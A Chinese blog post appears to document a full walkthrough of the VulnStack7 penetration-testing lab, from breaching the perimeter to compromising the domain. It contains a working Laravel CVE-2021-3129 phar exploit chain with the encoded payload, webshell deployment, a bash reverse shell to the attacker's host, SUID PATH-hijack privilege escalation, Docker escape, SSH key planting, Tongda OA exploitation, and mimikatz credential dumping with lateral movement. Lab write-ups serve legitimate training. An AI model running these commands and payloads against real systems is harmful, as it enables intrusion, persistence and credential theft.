红日靶场 VulnStack7

这是两段时间打的靶场了,所以前后IP不一样。

这样的网络配置

三层域网络在:192.68.93.0的c段

二层网络:有52的网段,也连通三层网络的93段

DMZ:处于192.68.52.0的c段 与kali连通,若是不连通 获取权限后也就是多做一层代理

只用到了 Vmnet1 和6 网卡

域用户账户和密码如下:

AdministratorWhoami2021

whoamiWhoami2021

bunnyBunny2021

moretzMoretz2021

Ubuntu 1

webweb2021

Ubuntu 2

ubuntuubuntu

通达OA账户:

admin:admin657260

第一层边界突破

Laravel RCE 写shell

通过访问 http://100.66.189.168:81/ 页面发现是Laravel框架 版本是8.29.0

通过搜索引擎找到此版本存在CVE-2021-3129漏洞

Laravel框架介绍

aravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。

漏洞描述如下:

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

影响版本 Laravel<=8.4.2

先使用CVE-2021-3129工具检测是否存在此反序列化漏洞

https://github.com/zhzyker/CVE-2021-3129

这些poc都需要借助phpggc工具脚本来生成,需要在linux下使用。

检测到多条pop都可以利用

漏洞利用过程

利用链子过程

1.生成poc

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

注意在最后加上一个a,不然会不可用

2.发送数据包,先清空日志

"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

3.给log增加一次前缀,用于对齐

"viewFile": "AA"

4.发送编码后的POC作为viewFile的值

"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=50=00=31=00=52=00=63=00=6D=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=50=00=31=00=52=00=63=00=6D=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=47=00=7A=00=6B=00=46=00=79=00=39=00=71=00=44=00=71=00=50=00=41=00=6D=00=79=00=66=00=78=00=42=00=68=00=63=00=6C=00=52=00=49=00=5A=00=4E=00=56=00=41=00=77=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"

5.再次发包,清空对log中的干扰字符

"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

6.进行phar://反序列化 执行phpinfo,需要使用绝对路径

"viewFile":"phar:///var/www/storage/logs/laravel.log/test.txt"

但是我这里失败了,重新发包回去查看,这里报错无法打开流

原理不是很懂,还是使用写好的工具来直接写shell文件

这里使用这个exp来直接写入文件,看了下源码 步骤和前面基本一样,poc直接编码好放在函数里

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

检查成功写入

这里使用哥斯拉来连接结果发现死活连接不上,全部返回为空的信息。最后发现使用3.0以下的版本才能连接,于是去作者网站看到

https://github.com/BeichenDream/Godzilla/releases

想必这个对应木马的poc一定使用的是3.0版本以下提供的webshell

这里使用2.9版本成功连接

发现ifconfig ip add 这些执行都不行

简单的信息收集一下

使用 cat /proc/self/cgroup 命令查看

发现这个奇怪的系统果然是个docker

proc文件系统

proc文件系统是linux 中比较重要的的一个文件系统,在sysfs文件系统没有出现之前,它可以说是用户层获取内核层信息的唯一方式,它是一个一种特殊的、由软件创建的文件系统,proc内的文件并不是真正‘real' 文件,而是一种描述进程信息的伪 文件系统(process information pesudo-file sysrem), 被用来描述系统运行信息(比如系统内存,设备挂载,或者是硬件配置等).常常用来控制或者描述内核信息。

先反弹一个shell到kali上

bash -c "bash -i >& /dev/tcp/192.168.52.128/7869 0>&1"

[

](https://blog.csdn.net/weixin_42730667/article/details/113871447)

这时想要进行docker逃逸,需要提高我们的权限,这个www-data用户权限很低

我们find寻找搜索具有SUID或4000权限的文件,这里发现了一个shell文件,很显眼

find / -perm -u=s -type f 2>/dev/null

进入到home/jobs目录下查看

shell文件能运行

然后利用环境变量劫持提权,这里应该是/bin/bash 多写了个斜杠

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

提权成功

docker特权模式逃逸+ssh写密钥连接

ubuntu web1 getshell

还是fdisk -l 查看一下挂载目录

然后mkdir 一个break目录

然后mount 挂在break目录上去

此时便可以带着break目录去逃逸使用了

写入定时任务执行wget msf的木马

尝试了多次后发现定时任务文件是写上去了,但是定时任务不执行。

还有一种办法是通过ssh写密钥

首先查看到逃逸主机的ubuntu目录下的 .ssh隐藏文件

生成ssh公钥

然后再.ssh目录下查看pub公钥

写入免密登录密钥,注意写入的格式echo后面空一格

然后ssh连接 成功免密登录

这里发现100.66.189.168主机还有一个网卡 IP为192.168.52.10

上线到msf

生成elf木马

msf开启监听

在ubuntu上下载运行

msf成功上线

查看看到52.10网段的ubuntu1 已经拿下了

真实情况下用proxychain代理出来用namp扫就好了,这里是nat通的就直接扫

可以看到30存在8080端口

第二层网络渗透

ew反向代理+burp两重代理

这个52本来是我VMnet6的nat网卡段,结果我物理机居然VMnet6 IP和这个不一致,这就造成了隔离

不过正好 就类比实际情况的内网隔离了,ok现在用ew反向代理出网,

本来kali通过ubuntu是可以的代理访问到52的,但是各种原因kali本身就在52段,然后这里就直接在win7上用ew代理

首先vps的两个端口要把防火墙打开

-l是我们去连接的,-e是受害机器连接

流量会从666转发到798

然后谷歌配置代理就能访问了

但是谷歌这个SwitchyOmega插件同时配置了socks5代理和burp本地代理就会出问题,所以还是用火狐。

首先配置浏览器两个代理

然后burp在options处设置socks5代理

然后就可以正常抓包了

win7 30getshell

任意用户登录

通达v11的oa,漏洞很多,随便网上找个rce

这里直接是未授权获取登录session

然后抓包访问/general/ 页面添加上session

结果这个靶场的oa授权过期了,md登录上来就喊激活

未授权写文件

直接未授权写入图片马

然后到文件包含的地方执行命令

这里应该有回显才对,应该是系统没授权了 所以显示不了

正常到这就可以rce了的,那么我就直接上线到cs了

第三层域渗透

信息收集

对win7信息收集,发现了一个93新的网段

这里用20扫描出了 10、30、40这三台机器

收集域信息,这是在 dc.whoamianony.org的域

扫描30的主机信息,显然这很可能是DC

in 2012 R2 Datacenter 9600

扫描40的主机信息

Win 7 Professional 7601 SP 1

fscan扫描

内网扫描还是得fscan,用cs 直接upload传过去

fscan扫描结果

扫描整个93的c段

会在当前目录生成一个result.txt 可以查看

PTH横向攻击

ok接下来试着抓密码

用ms15简单的提个权限

导出system.hive和sam.hive后导入到mimikatz 然后直接抓

这里获取到DC的密码和此win7 bunny的明文密码

net use网络映射连接域控

NTML也有可以进行pth攻击,但是有明文了可以直接用net use来连接了

结果一直没连接上不知道为啥

最后发现是tmd命令后面多打了个斜杠 ,难受

net use \\DC.WHOAMIANONY.ORG\ipc$ "passwd" /user:"administrator"

直接远程桌面连接域控

结果在win7上可以直接用账号密码就连接上了域控,完成!

pth攻击域控

![](https://cdn.nlark.com/yuque/0/2022/png/26787663/1661245318562-ec22ba75-d6d7-4c19-acda-36304fd0d23b.png)

迁移父进程到弹出的cmd中

也可以直接在远程桌面win7上连接

posted @ 2022-08-23 17:37  Erichas  阅读(1539)  评论(0)    收藏  举报